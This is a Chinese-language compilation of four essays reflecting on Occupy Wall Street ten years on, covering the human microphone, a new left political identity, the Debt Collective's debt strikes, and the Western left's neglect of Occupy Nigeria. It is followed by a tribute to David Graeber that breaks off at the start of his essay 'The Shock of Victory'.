你应该充满希望，并同时意识到自己为之奋斗的运动有时会失败；但是，那些自己都不相信有可能获胜的团体总是会输的 —— 他们将风格置于战略之上，将保护群体内的文化置于对普通人的包容之上，将小团体的品味和欲望置于大众的需求和梦想之上。他们习惯于处于边缘状态，并采取了强化这种边缘性的行为，这使得他们更不可能离开边缘（毕竟，边缘，虽然很残酷，但至少在某种程度上是“安全的”）。所谓的边缘，正是由对那种压迫你的权力的恐惧形成的，人们在那里学会了对自己可能拥有的权力的恐惧，而那恰恰就是你最终应该寻求的权力。

占领运动有这两种时刻：有巨大的、广阔的、包容的时刻，在这些时刻里，人们把自己看作是合法的，在这些时刻里，归属的圈子不断扩大，不断包括进那些原本不认识的人，曾经不会成为朋友的人，在这些时刻里，人们的目标是真正带领整个国家摆脱自身的毁灭；同时，这里也有黑暗的、无望的、自以为是的时刻，在这些时刻里，你会感到自己很渺小，很受打击，很容易被误解，蔑视那些原本应该被组织起来的公众，甚至，彼此间互相攻击。

这里面有很多教训。关于无领导力的教训，关于权力的教训，关于恐惧的教训。但最重要的，也许是最简单的 —— 革命是由那些打算成为强者的人发起的；革命是由那些愿意承担风险、愿意领导、愿意为了比自己更大的东西负责的人所创造的；革命是由那些愿意失去边缘的舒适和安全来扩大他们的归属圈的人、那些愿意失去控制的人，所创造的。这也许有点反直觉，但必须说，这种领导的意愿实际上是与追随的意愿携手并进的 —— 追随社会运动所需要的颠覆性的转折和战略调整、打破边界，社会规范的粉碎，对规则的破坏。

也许，恐惧是这方面的主要障碍之一。害怕敌人，害怕离开我们自己

的舒适区，害怕面对历史责任时的失败，甚至害怕彼此（害怕被渗透）。这种恐惧是合理的。但我们有责任面对它，成为最强大的自己，建立能够获胜的反抗运动。这是能让我们有机会的唯一途径。

质疑“占领”的成就是公平的。它当然以惊人的方式失败了，许多人离开时受到了伤害，紧张和焦灼，希望自己能以不同的方式做事。但对很多人来说，“占领”真的打破了一些东西—— 改变了这个国家的气候，为之后的社会运动打开了一扇门，将整整一代人政治化，将阶级话语纳入主流叙事，培养了一批新的行动主义领导者，开始了一个全新的运动机构领域，孕育了一个强大的选举左翼，最终争夺权力 …… 等等。

但问题是，占领运动本就不应该成功。这是一个糟糕的想法，是由加拿大一个不合群的杂志编辑催生的，主要由一群没有经验的年轻人推动，没有长期计划，没有要求，没有政治愿景，没有对人们正在奋斗的地形的明确评估，而且，人们之间在政治和意识形态以及战略和战术方面存在着尖锐的不一致。但是，它就是这样起了作用。

这个教训很简单。我们只是知道的不多。我们不知道什么会起作用，什么会产生共鸣，人们准备好接受什么。即使是现在，也有很多事可以说，就如很多观察家都在积极地提出的那些观点。但是，没有人能够解释运气，究竟是哪一抹神奇的仙尘，使这样的事发生或毁灭。

这里面有一些绝对可怕的东西，但也有一些解放性的东西。不知道，意味着我们很多时候会错，但有些时候会对；也许这也意味着，有些时候我们的错误实际上是最好的结果。

每个人都知道帝国是强大的，反抗的武器是不足的，这个星球是一个定时炸弹，许多事情必须正确，才能让我们在这里生存下来，更不用说繁荣了。而且，这样的情况很少，也很难实现。但是，在这种情况下，必需记住的是你能在无数个反抗现场上看到的一些东西，即：你无法想象的事情有时就会发生，人们的确有能力做出真正超越性的事，我们周围有很多机会，等待着我们去抓住，或者，也许是被绊住。

不论如何，但愿我们能以尽可能多的优雅、勇气、智慧和谦逊来抓住或跌入这些机会。

以下的文字将由4部分组成，来自不同的作者对这场运动的反思，这些思考都将对未来的反抗具有重要意义。尤其希望能够对中国的行动者和行动主义研究人士有所帮助。

Part I

「图」

第一篇来自 Rebecca Panovka，她是 The Drift 的作家和联合编辑。她作为一位 “当年的年轻人” 的立场、以批评的方式回顾了这场运动，并提出了对未来的想法。

人肉麦克风

「图」

本·勒纳的2019年小说《托皮卡学校》在结尾处描述了一种抗议战术：“人肉麦克风，即 聚集在演讲者周围的人重复演讲者所说的话，以便放大声音”。勒纳的另一个自我是在特朗普政府早期的一次反ICE示威中和他的家人在一起，他加入了集体扩音的行动。“这让我很尴尬，一直都是这样”，他写道，“但我强迫自己参与进去，成为一个微小的公众发言的一部分，一个在传播中慢慢学习如何发言的公众。”

这是那本书的最后一句话，一个附加在几百页的道德准则、围绕着美国政治语言中长期酝酿的危机的命题—— 勒纳将其命名为 “传播”，这是一种辩论战术，用更多的事实和论据淹没你的对手，而他们不可能在规定的时间内反驳。在这里，人肉麦克风被认为是勒纳用全书诊断问题的解决方案。

即使是在文学艺术的背景之外，这种方法也可能近乎于老套。“麦克风检查？”有人说；“麦克风检查”，人群重复道。然后，演讲就开始了，以呼唤和回应的方式，演讲者每说几句话就暂停一下，让人群回话。每个演讲（“EACH ADDRESS”）都进行得很慢（“PROCEEDS SLOWLY”），听众在知道（“BEFORE THEY KNOW”）他们是否同意之前，重复一个论点（“With LISTENERS REPEATING AN ARGUMENT”）。

人肉麦克风最早用于反核运动，1999年在西雅图举行的对世界贸易组织的抗议活动中被采用，之后成为 “占领华尔街” 的主要内容，在那里获得了真正的地位。

占领运动 —— 它的工作组、大会、手势 —— 体现了对参与式民主的真诚信念。这个运动的结构（完全的水平主义）在某种意义上就是它的信息，也是人肉麦克风所体现的信息，任何人都可以通过它发言并被听到。麦克风的象征意义大于实际意义，它构成了对政治中金钱的

抗议，对富人和权贵声音的过度重视的抗议，对个人主义的抗议，也许，也是对政治话语的过度复杂化和退化的抗议。

虽然许多人认为“占领”是一场无序的运动，但对其他人来说，它是一种形成性的经验，并激发了十年的组织活动。在某一代左翼团体中，“占领华尔街”这几个字已经具有了几乎是图腾般的地位。沐浴在怀旧的光辉中，祖科蒂公园（或“自由广场”）似乎是民主进程的天堂，而人肉麦克风，最初是为规避扩音系统限制的一种方式，后来，它就代表了一种美学理想。

我被要求为这个主题的文章提供某种反对意见，因为我太年轻了，不能对“占领华尔街”怀有幻想。如果我再老一点（或者在政治上再早熟一点），我可能会在祖科蒂公园形成美好的回忆，但我没有。我只去过一次，在2011年的秋天，在当时所有的活动中感到头晕目眩，不适应。我没有参与其中，而是拍了一些照片，对现场进行了评估：有一个免费的图书馆，上面有五颜六色的自制标牌（不错），一个大胡子离我的脸太近了对我大谈革命（没那么好），有一些后裔克里希纳教徒（为什么不呢），还有一群戴着V字面具的人（令人不安）。当人肉麦克风开始运行时，它没有说出任何我可以破译的东西。

我不确定这个没有领导、最终没有组织结构的人群如何能够煽动一场革命，尤其是在没有具体诉求的情况下 —— 但我也不确定我的印象在多大程度上被我在报纸上读到的和在新闻上看到的所影响了。在那之前，我对左翼的唯一接触是通过所谓的主流媒体的怀疑性镜头。我以前从未目睹过抗议运动，而抗议运动 —— 就像人类被卷进的大多数事情一样 —— 从外面看是完全不同的。我当时的问题是：是抗议者太天真，还是我太天真？在勒纳的范式中，“占领”究竟是尴尬的，还是解决方案？

十年过去了，占领运动的谈话要点已经摆脱了其怪异的光环。全额债务豁免、基本收入、单一支付者医疗卫生系统、免费大学，以及其他当时的小众想法，都是民主党内讨论的严肃议程项目。毫无疑问，部分归功于占领运动的影响，这是在过去的十年里美国历史上出现的最大规模的抗议活动，一位严肃的总统候选人甚至可以站在辩论台上大谈“百万富翁和亿万富翁”。

不可否认的是，“占领”改变了对话，但改变对话并不等同于改变物质环境。尽管占领运动迫使“收入不平等”这个短语走到了前台和中心位置，但记录其在2011年至2019年期间流行程度的谷歌 Ngram 看起来很像同期最富有的1%的人获得的财富图。在过去的一年半里，15个最富有的美国人增加了4000亿美元的财富，1%的人增加了10万亿

美元的财富。与此同时，美国最贫穷的20%的县的COVID-19死亡率比最富裕的20%的县的死亡率高出 67%。

“在其核心部分，占领运动使抗议活动再次变得很酷”，《占领一代：重新唤醒美国民主》的作者迈克尔·莱维廷在《大西洋》杂志上写道。他将伯尼·桑德斯竞选的成功和亚历山大·奥卡西奥·科尔特斯的当选，以及BLM、#MeToo运动、和 “日出运动” 归功于占领运动带来的势头。如果抗议活动再次变得很酷，那就是一种特定类型的抗议活动被迷信得高于其他所有类型：高度上镜的街头抗议活动，通常在大城市进行几天或几周，然后被放弃。“抗议是新的早午餐” 这句话在被奥巴马校友的播客 Pod Save America 推广后，成为了抵抗组织的一个早期口号。去年夏天，随着反对警察暴力的激进运动充斥街头，无数人张贴了黑色方块、与纸板标志的自拍，以及以多种族粉色人手拉手为主题的信息图。本周，奥卡西奥·科尔特斯出席了Met Gala，她的衣服上用红色写着 “向富人征税” 的字样，似乎并没有在她的同伴中激起任何不满。下个月，CBS本应播出一档名为 “活动家” 的节目，参与者将有机会在G20会议上影响世界领导人。(为了回应推特上的反响，该电视台决定取消这个已经编辑好的系列节目，并将镜头转换为纪录片）

我无意用冷水浇灭一群有价值的抗议运动，也无意将这种符号至上的状态完全归咎于 “占领”。但是，当推特帖子被当成了政治行动的替代品时，当富人无需掏出一分钱（除了 **Met Gala** 的门票价格）就能享受接近时髦的阶级政治时，当**CBS**这类企业媒体试图将行动主义变成一场竞技表演而不使用其企业力量来实现抗议者所倡导的变革时，值得考虑的是，抗议的外表是否已经变得太酷了 —— 无意识的重复是否已经积累了过多的审美价值。

我们有时会忘记，占领运动的灵感部分来自于另一场抗议运动：“阿拉伯之春”，在这期间，美国评论员曾经对互联网作为一种民主化的力量大加赞赏。占领是在对一个所有人都能通过社交媒体发表意见的世界的潜力持乐观态度的时刻梦想出来的。现在，对于让每个人都能同时说话的乌托邦式的可能性，或者由一群陌生人不加批判地重复信息的智慧，各政治派别的希望都非常渺茫。99%的人是否有统一的愿望，更不用说能够以单一的声音表达出来了，仍然是一个有待解决的问题。也许左翼确实正在学习摆在我们面前的挑战是如何超越自言自语的 —— 如何走出一个无限的、有时是外在的不可理解的循环。

Part II

「图」

第二篇来自 Gabriel Winant，他是占领运动的直接参与者，芝加哥大学历史系助理教授，也是“异议”杂志的编辑。他于2021年出版的新书《The Next Shift》，您可以在这里下载：https://www.patreon.com/posts/yi-ge-xin-de-56854072

一个新的政治身份

「图」

当我寻找“占领华尔街”的历史意义时，首先想到的不是集会、游行，甚至不是大规模逮捕。相反，首先出现的记忆是2011年马克思主义阅读小组的一次会议，从2010年到2018年，也就是我在研究生院的那几年，参加了这个小组。那年的10月，我们专门为“占领”举行了一次会议，小组成员从平时的五人或十人膨胀到了满满的一屋子人，其中有几十个人还在试图理解正在发生的事。(这种情况在前年2月威斯康星州议会大厦被占领和阿拉伯起义期间也曾发生过）

我们当晚讨论的内容现在对我来说依旧很模糊—— “99%” 究竟是一种有用的阶级语言还是民粹主义的混淆视听，我们都不知道—— 除了文化历史学家迈克尔·丹宁的一句话之外。丹宁预言，“占领”运动最重要的后果不是直接的政治胜利，而是经验本身，它所传授的个人教训，以及它嵌入那些经历过它的人的生活史的方式。正如所有激烈的社会运动周期一样，参与者会发现自己在做他们没有预料到的事，与他们本来不认识的人一起。他们改变的不是国家，而是自己，然后把这种改变带到其他地方。在那一刻，我感觉到我处在一个正在形成的独特的政治群组中，这种感觉成为占领运动的共同点。

从这个角度来看，这场运动的遗产最好被理解为意识形态历史中的一个插曲。正是在意识形态的层面上，它产生了最大的影响 —— 这也正是为什么它经常被误认为没有任何影响。

最直接的是，占领运动是形成新的反资本主义知识环境的关键事件。你可以去 Zuccotti 公园，你会发现人们在争论治安、金融、女权主义、气候危机—— 在这种发酵中，新的机构形成了，旧的机构改变了。《新调查》和《雅各宾》的诞生都略早于占领行动（也许是预料之中），但都从由此产生的小团体的参与中获得了很大的稳固性。2012年，布鲁克林社会研究所出现了，它是由哥伦比亚大学的左翼研究生创立的，他们在寻找一个有意义的替代死胡同的学术职业。事实证明，所有这些都产生了后果。

这并不是说这个知识分子群体中的每个人对占领运动的发展都很重要（作家 Vicky Osterweil 和 Malcolm Harris 是明显的例外，他们在早期以 Radiohead 出现的虚假承诺帮助带来了一批人）；相反，占领运动在某种程度上对他们中的大多数人，以及他们周围的活动家、作家和思想家的广阔世界都是很重要的。或者，准确说是对我们所有人来说很重要。例如，我在占领抗议活动后在监狱中度过的那天，其意义不仅仅是我第一次被捕的事实；相反，我可以很好地回忆起我在拘留室里遇到的无数人，并追踪他们在过去十年中的轨迹：他们正在发表的论文，撰写的历史，领导劳工和租户组织，在选举政治中的工作，制作的记录片：像这样的环境使我们有可能构建一个新的政治身份，而且似乎可以说，成千上万的人都这样做了。

【注：我们在讲述白俄罗斯的抗议活动时讲述过关于监狱团结的细节，未来我们还将专门讲述监狱中的反抗和监狱的意义，这是一个很重要的话题。在这里看到《如何成为革命者》】

从这里可以很容易地与过去十年中学术界、记者、博物馆工作人员和其他类似的专业工作者的工作场所激进主义划清界限。兼职人员的组织活动在2012年开始起飞，而对于私营部门的研究者来说，关键的突破发生在2013年的纽约大学 —— 这是离纽约祖科蒂公园最近的研究机构，并非巧合。那里的研究生们已经为占领行动和围绕占领行动进行了广泛的组织，包括“占领桑迪”和抵制债务运动等后续行动。随后，全国各地的校园运动如雪崩般涌现。在许多地方，当地的占领活动和工作场所的组织活动穿插在一起：活动家们在外面集体聚餐，然后在里面围着桌子再次会面，制定计划。

在公共部门，特别是加州大学 —— 2009年的校园占领活动预示着2011年的活动—— 出现了围绕学费和债务的爆炸性学生运动。当加州大学戴维斯分校校长 **Linda Katehi** 派警察去清除其校园内的占领活动时，他们向坐在那里的学生喷射胡椒粉，产生了该运动的一个持久形象：由此产生的愤怒现在看来是黑人激进左翼以外的废除主义思想发展的明确先驱。加州大学系统，特别是伯克利和圣克鲁兹，在随后的几年里也出现了研究生激进主义的滚滚浪潮，特别是在**2014**年 —— 校园警察再次成为争端的核心。

- 如果您错过了《从叙事矩阵到高科技群众斗群众：*21*世纪维稳*5*步拳》

概念如果要获得并保持活力，就需要有物质基础 —— 一群人的工作就是制造它们、完善它们、应用它们、传播它们。文化机构产生和传播意识形态，“占领”运动对成千上万的年轻人产生了巨大的影响，大

到难以把握。它将产生的一种独特的被剥夺和愤怒的代际经验的结构性力量浓缩在一个事件中，同时创造了一个环境，在这个环境中个人可以看到自己与这种经验之间的关系，以及与他人的关系。在接下来的十年里，数以千计的人开始从事某种意识形态工作，他们找到了一种方式来代表“占领”的含义，或者更广泛地，代表他们在2011年成为的人。

今年早些时候，一个学生在我的办公时间问我是否知道一些激进派的作家。我笑着说：“哦，当然，我在七八年前的 Verso 派对上见过那家伙一次”。那位学生对我眨了眨眼——“Verso阁楼？你真的去过那里？”虽然我们很想对以纽约媒体为中心的左翼聚会场所的这种图腾式地位翻白眼，而且很容易被嘲弄为一个圈子，但我们应该认真对待其意义。

当然，“占领”不能被还原为文化上层建筑中的一些职业。和任何场景一样，这个场景有它的自恋，有它的社会等级，有它的盲点，还有它的滥用。但必须承认，2011年的运动创造了文化理论家雷蒙德·威廉斯所说的“感觉的结构”：一个松散的生产和接受意识形态的机构系统，在这个系统中，共同的经验和情绪可以在一定程度上固化为一种共同的语言，甚至在左翼内部的对立者之间也是如此。

不仅是组织者、作家、编辑或播客使这种事情成为可能。它也是通过与文化生产者相同的经历形成的观众的积极参与，他们通过共同参与到一个历史时刻中并使其变得有意义：成千上万的人，然后是数以百万计的人，他们发现自己对无前途的工作、不断增加的债务、恶劣的警察暴力感到不安。在这个意义上，小杂志和激进的出版商、播客和进步派活动家的世界，不仅是面向内部的。否则我们就不会生活在左翼政治的复苏中了。意识形态要起飞，需要一个历史环境，在这个环境中，文化生产者和受众可以根据他们共同的经验，相互承认。否则，这种认可从何而来？

Part III

「图」

第三篇来自 Wen Zhuang，他是一名作家，也是 Debt Collective 的成员；这是一个债务人联盟，致力于取消债务并保护数百万家庭。他在这里讲解了占领运动对此后至今的反抗运动的牵引力。关于债务运动，见《债务反叛运动：传统的阶层斗争可能不再适用》。

债务绑架

「图」

已故的人类学家大卫·格雷伯（David Graeber）经常把负债比作一个承诺的网络 —— “我们彼此之间的一系列欠条”。如果你借给你的邻居50美元买日用品，承诺一周后归还，而你的邻居生病了，协议的条款可能会被重新谈判。但在当代条件下，交易的所有细节—— 谈判的是什么承诺，谁向谁作出承诺，什么承诺被遵守—— 都掌握在统治阶级手中。当植根于相互信任和承诺时，债务是建立集体权力网络的一个重要工具。但在华尔街占领者所称的 “黑手党资本主义” 下，债务是一种暴力的媒介。

Strike Debt 是创建债务抵抗运动的早期尝试，它从占领运动中产生，以建立前者并打击后者。十年后，随着美国家庭债务总额达到创纪录的15万亿美元，Strike Debt 坚持认为，债务人 “互相欠着一切，而不欠华尔街任何东西”，这仍然是对依赖个人责任和个人过错的金融体系的有力斥责。在这个金融体系中债务人被告知他们只能怪自己。曾经在一些人看来是羞耻和不光彩的地方，今天的许多债务人看到了团结和集体行动的潜力。

从占领运动的灰烬中脱颖而出，Strike Debt 的行动产生了重要的物质成果。其 Rolling Jubilee 项目利用众筹资金，以一美元几分钱的价格购买拖欠的医疗债务和学费债务，使超过3000万美元的债务消失。在 Strike Debt 解散后，它的一些成员成立了债务集体（Debt Collective），这是一个债务人工会，已经为数万人争取到了债务减免。债务集体认为它的组织工作与其他运动相联系和互补；债务是收入不平等、种族不公正、教育私有化、住房危机等方面的一个镜头。它的工作由债务人领导，他们相信实现真正变革的唯一途径是提供必要的资源和空间，以增强处于类似情况的其他人的能力。

2015年，“债务集体” 寻找曾经就读于现已倒闭的营利性柯林斯学院的学生。经过法律研讨会、领导力发展、政治教育、故事分享和媒体培训，“柯林斯15人” 举行了全国首次债务罢工，要求奥巴马教育部取消他们的欺诈性学生贷款。该活动包括创建了一个在线工具，使用了一个鲜为人知的法律条款 —— 借款人还款抗辩（DTR）。该工具允许那些被学校欺骗的借款人提交质疑其学生贷款的申诉。很像一个工会，它把债务人带到了谈判桌上。DTR工具现在是教育部网站上的一个永久固定项目，今年7月，教育部宣布，它将遵守联邦法院的命令，有效清除7200名前柯林斯学院学生的债务。在 “债务集体” 和柯

林斯学院反抗者发现的法律机制的帮助下，拜登政府已经为那些就读于营利性大学的人和那些残疾人消除了近100亿美元的学生债务。

在占领运动十年后，尽管许多 **Strike Debt** 的创始人采取了反选举的立场，但“债务集体”在华盛顿的影响力是不可否认的。曾经边缘化的学生债务和免费公共教育的愿景，已经在知名度上有所提高，并转移到可能的边缘。“我正在为一个破碎的系统提供资金，这个系统一直在积极惩罚像我这样的人。所以，我拒绝支付”。该组织主管 Umme Hoque 在1月宣布，她和其他99名成员进行了自柯林斯以来第二次有组织的大规模债务反叛运动，推动拜登使用授予他的行政权力，在他上任的第一个100天内消除所有学生债务。在一周的协调行动中，各分支机构在全国各地举行了集会。在纽约，人们鼓励路人在参议员查克·舒默的家门口将纸片点燃，以此来隐喻焚烧债务；在费城，一个超大的充气球和链条被竖立在中心广场前。在现实中，债务反抗每天都在发生：每十个美国人中就有一个人拖欠学生贷款。但是，当无力支付被组织成集体行动时，当那些必须违约的人认识到他们的无力支付是一个共同的被压迫现实时，付不起就变成了拒绝支付。

尽管拜登在竞选中承诺在一定程度上取消学生贷款，但他仍然坚决反对全面减免。然而，反抗已经取得了真正的胜利：通过DTR消除了数十亿美元的欺诈性债务，债务延期四个月，以及伯尼·桑德斯的《全民大学法案》的可行更新版本，其中包括取消所有1.6万亿美元的学生债务，并为公立两年制和四年制大学提供免学费，由华尔街的税收支付。“债务集体”也在发展其运动，与毕业生工会建立联盟，讨论高等教育危机的其他方面，并组建委员会，关注债务和债券等金融工具将学习空间变成了华尔街利润中心的所有方式。

我是在2019年加入“债务集体”的，但我几乎一生都生活在债务之下。作为一个来自移民、单亲收入家庭的第一代大学生，我很早就接触到了阶级政治和经济不平等。但我和我的父母曾经一度相信，如果我努力工作，踏入精英阶层的大门—— 上他们的大学，模仿他们的生活方式 —— 阶级界限就会模糊。然而很快，我就明白了，当经济体系被设定为困住像我这样的人时，我离开工人阶级的门票是不可能的。我体验到阶级是限制我选择自由的因素：我的时间是与我的债务密不可分地联系在一起并为之服务的。

在“债务集体”的新成员介绍会上，我进入了一个分组讨论室，所有与会者的相机都关闭了。债务是一件令人羞愧的事。它构成了你的生活和你的承诺的背景。了解并与他人谈论它，就是承认它的可悲性质，而不是你自己的可悲。在“债务集体”中的我们这些人不仅被债

务所束缚，而且被我们对彼此的承诺和对建立一个更好的世界的承诺所束缚 —— 我们在这里把剥削之源变成权力，把压迫的纽带变成团结的纽带。

Part IV

「图」

第四篇来自 Zachariah Mampilly，非洲社会研究项目的联合创始人。他从另一个角度上批评了西方左翼在占领运动中缺乏更广泛跨国联盟积极性的缺陷。

为什么西方左翼无视 “占领尼日利亚”？

「图」

2012年元旦，尼日利亚政府宣布结束燃料补贴，该补贴人为地压低了这个非洲最大国家的石油成本。政府的行动是为了利用许多尼日利亚人已经回到他们的村庄庆祝节日的事实。但是，政府阻挠民众愤怒的努力失败了。由于燃料价格上涨了一倍多，被困在远离工作地点的地方，愤怒的尼日利亚人走上了街头。在短短几天内，这场抗议活动成为尼日利亚历史上规模最大的一次，几乎遍及该国的每一个角落。

这不仅是一个非洲起义的故事。这个令尼日利亚政府震怒的为期两周的运动被称为 “占领尼日利亚”，是受**2011**年占领曼哈顿 **Zuccotti** 公园启发的全球占领抗议浪潮的一部分。数百万参与者涌入拉各斯、阿布贾、卡诺和其他尼日利亚主要城镇的街道，这是世界上最大的占领运动。然而十年之后，关于 “占领尼日利亚”—— 或者过去十年中发生的许多其他非洲起义 —— 的文章非常之少。相反，西方人通常将这些抗议活动视为 “困扰非洲国家的普遍动荡的一部分”，被认为不值得全球关注或尊重。即使在左翼，进步的非洲运动也被忽视，或被当作好奇之物，而不是有意义的政治行动。

想想 Y’en a Marre 吧，这是一个塞内加尔集体，在2011年秋天领导了反对阿卜杜拉耶·瓦德总统试图重写宪法的大规模抗议活动，这导致他放弃了在2012年寻求第三个任期的努力。**Y’en a Marre** 在塞内加尔和该地区建立了一个广泛的网络，在其首次崭露头角近十年后仍然保持着强大的力量和良好的组织。但美国的一些主要的左翼出版物，包括《异议》和《每月评论》，都没有提到这个运动。Alternet 和《新左派评论》各提供了一篇提到该运动的文章，《雅各宾》也是如

此。

非洲大陆的某些国家，由于特定的历史或政治原因，确实得到了西方左翼的更多关注—— 最明显的是北非国家，特别是在所谓的阿拉伯之春期间。压倒性的趋势是强化北非和撒哈拉以南非洲之间的殖民划分，将它们视为彼此不相干。主要的例外是南非，它因其种族分裂的历史（通常与美国的种族隔离遗产平行看待）及其强大的社会运动传统而引起关注 —— 包括2015年和2016年的 “Rhodes Must Fall” 和 “#FeesMustFall” 运动，其中年轻人以与美国同时代的运动产生共鸣的方式挑战种族主义图腾和经济边缘化。在这里，殖民主义遗产和关于南非特殊性的错误叙述也强化了这个国家不是 “真正” 非洲一部分的想法。

非洲的其他50个国家充斥着充满活力和生机的运动，充满了勇敢的年轻活动家：尼日利亚的女权主义和反警察暴力运动，乌干达北部的气候正义活动家，刚果东部的民主运动，苏丹的革命者，以及其他许多与压迫性政治和经济制度作斗争的普通人。为什么他们在全球北方遭到了沉默？

不论我们讨论还是不讨论非洲，种族主义总是一个重要因素。在左翼空间，种族主义很少以明确的偏见形式出现，但其微妙的、更多的潜意识形式在加强非洲大陆的边缘化方面发挥着自己的作用。除了左翼的这些偏见外，我认为值得提出另外两个解释，关于为什么非洲社会运动持续被排斥在西方左翼话语之外。我提出这两个解释并不是为了找借口，而是试图推动对话的发展。

首先，在那些将国家视为潜在的解放力量的人和那些认为国家几乎一直是掠夺性行为者的人之间，仍然存在着巨大的差距。不足为奇的是，西方左翼的想象力被20世纪60年代和70年代的非洲政治所主导，在这一时期，一些非洲国家—— 包括朱利叶斯·尼雷尔领导的坦桑尼亚、夸梅·恩克鲁玛领导的加纳、和艾哈迈德·本·贝拉领导的阿尔及利亚 —— 成为全世界社会主义者的宠儿。除了20世纪80年代或90年代的少数例外，包括托马斯·桑卡拉在布基纳法索的统治和南非种族隔离时代的非洲人国民大会的某些成员，最近几十年来，非洲左翼在国家层面的胜利很少，特别是与亚洲或拉丁美洲相比。今天的非洲领导人几乎一致致力于新自由主义范式，将公民贬为需要解决的问题而不是需要服务的选民。鉴于政府在改善普通人生活方面的严重失败，大多数非洲人民运动都以怀疑和恐惧的态度看待国家，而不是将其作为解放的工具。对于追求国家权力的西方左翼来说，非洲社会运动对夺取国家权力缺乏兴趣，这似乎令人费解。

第二，与上述情况相关的是，虽然大多数当代非洲社会运动都深切关注贫困问题，但他们很少从反资本主义的角度上来追求其战略目标。占领尼日利亚的急剧升级和迅速下降表明了公开的基于阶级的呼吁的局限性。(虽然有组织的劳工最初处于运动的前沿，但它努力与构成抗议者主体的非正式工人建立联系，并最终参与了与政府的秘密谈判，许多人认为这是一种背叛）

这并不意味着非洲人拒绝阶级分析。他们一直在质疑一个全球经济体系，这个体系把整个非洲大陆的富国和穷国都变成了世界上最不平等的国家之一。然而，即使是经济上最边缘化的人，也通常要求更公平地分配资源，而不是完全推翻资本主义。尽管泛非主义的文化形式仍然具有吸引力，但革命的泛非主义在普通非洲人心目中的衰落表明，虽然土壤仍然肥沃，但整个非洲大陆的进步知识分子和运动并没有得到挑战全球新自由主义攻势所需的支持。

这给国际左翼提出了一个严重的问题：非洲在其想象的后资本主义未来中处于什么位置？中国尽管已经转向资本主义，但仍然是新殖民主义关系的最突出的替代者，它把非洲当作一个开采和消费的场所而已，这一事实使我们更难论证一个社会主义的世界秩序实际上能对普通非洲人的生活产生任何有意义的改善。

- 如果您错过了《抵抗中国的资本主义：国际联盟的理由》

长期以来，西方左翼的最佳传统一直扎根于历史的真实运动中。但当涉及到非洲，一个很快就会拥有全人类四分之一人口的大陆时，却很少有人尝试去处理构建社会运动和大众政治的现实。这是一种缺憾。非洲是应对气候危机和不平等的全球斗争的中心，也是争取人类基本尊严的更广泛斗争的中心。一个国际项目如果不能对非洲社会运动的优势和弱点有一个扎实的了解，将不可避免地加强种族隔离的逻辑。○

原文

打破得意和绝望的循环 -- 大卫·格雷伯：胜利的冲击 - iyouport

无政府主义长读

你认为你输了，有可能是你还没能真正理解什么是胜利，还不知道该如何处理胜利 -- 在大卫格雷伯去世一周年的日子里，怀念他的贡献。

大卫格雷伯的意外去世惊讶了所有人。就在那几天前，无政府主义组织还在与他通信，讨论 Facebook 为安抚特朗普政府而决定禁止无政府主义的页面一事。大卫格雷伯是第一批发表声明的人之一，他指责说："可以想象，没有什么比告诉我们 —— 尤其是我们的年轻人 —— 我们被禁止梦想一个和平的、充满关爱的世界更暴力的行为了"。

这符合大卫的性格。他不只是一个知识分子，他总是渴望表明立场，把自己放在事情的最前沿。他参加了纽约市的直接行动网络，掀起了2001年4月在魁北克市举行的反对美洲自由贸易区部长级会议的大规模示威活动，这是"反全球化"运动的高潮；他也是创建"占领华尔街"运动的重要参与者，并参与了随后关于"暴力"的辩论，与其他无政府主义者一样面对那些自以为是的学究。当罗贾瓦的革命实验受到伊斯兰国的威胁时，他是最早引导国际社会关注该实验的人之一，并在一年前土耳其入侵时与无政府主义组织一起呼吁声援。

- 如果您错过了《我们这些*99%*：在占领华尔街十周年的日子里思考新的政治身份》

他把他的身体和他的声誉都放在了战斗的前线，冒着催泪瓦斯和学术报复的危险。在耶鲁大学因为他的政治信仰而迫使他离开后，大卫被迫移居海外，以找到一个与他的能力相称的大学职位。他得到了一份公司的出版合同，是的，但他是通过拒绝妥协而得到的，而不是通过淡化他的政治信仰。

大卫所写的、所想的、所说的、所做的，比我们在这里所能总结的要多得多。希望其他人也能够为他写一篇合适的悼词，记述他在各个领

域的所有活动和贡献。即使有分歧，我们所有人也总是能从他那里学到东西。他是一个坚定的朋友和一个值得尊敬的对手。

在格雷伯最超然的作品中，比如《如果我们不能享受快乐，那还有什么意义？》一文，他努力解决关于自由和宇宙的基本本体论问题。这就是我们对他的印象，他把不同的线索编织在一起，提出了一个从亚原子粒子延伸到整个社会和生态系统的自决愿景。

他在59岁的时候就去世了。我们诚心向每一位记得他的人表示感谢。我们哀悼他的离去，并为大卫尚未与我们分享的所有东西感到悲痛。

David Graeber, rest in peace.

下面即将分享的文章来自于对世纪之交反资本主义斗争的遗产的讨论，在反对世界贸易组织、世界银行和拟议的“自由”贸易倡议（如美洲自由贸易区）的抗议活动中出现。无政府主义者和其他反资本主义的抗议者在使世贸组织和世界银行失去合法性方面发挥了重要作用，甚至成功地阻止了美洲自由贸易区协议的通过—— 然而事后，运动的许多参与者都感到沮丧，对我们没有能成功地完全废除资本主义感到失望。

在这次讨论之后，大卫在《滚雷》的文章中扩展了他的想法，结果就是下面这篇文章，《胜利的冲击》。

大卫关于无政府主义者往往对胜利毫无准备的论点放在今天比它在2008年初出现时更加及时。在过去几年中，无政府主义者和其他旨在废除警察、监狱和现有刑事司法系统的支持者们成功地普及了这样一个概念：所有这些都是不公正的机构，没有管理我们生活的合法性。不出所料，专制主义者和警察已经用巨大的暴力对此进行了抨击。

在一场涉及夜间冲突的消耗战中，示威者很容易感到“我们正在失败”—— 而在历史层面上，我们已经实现了一些几年前似乎无法想象的目标。不论是2008年还是今天，问题都是一样的 —— 我们如何在足够长的时间范围内制定战略，以充分利用我们的胜利，而不是在面对反击的绝望打击时崩溃。David as we knew and loved him.

> ***Fix your eyes forward on what you can do, not back on what you cannot change. - Tom Clancy***

以下是这篇文章。

直接行动运动面临的最大问题是，我们不知道如何处理胜利。

这似乎是一件奇怪的事，因为我们很多人最近都没有感到特别的胜利。今天，大多数无政府主义者认为全球正义运动是一个小插曲：在它持续的时候当然是鼓舞人心的，但不是一个成功地扎下持久的组织根基或改变世界权力轮廓的运动。反战运动甚至更令人沮丧，因为无政府主义者和无政府主义战术在很大程度上被边缘化。当然，战争会结束，但这只是因为战争总是有始有终。没有人觉得自己对战争的结束贡献很大。

我想提出另一种解释。在这里提出三个初步观点：

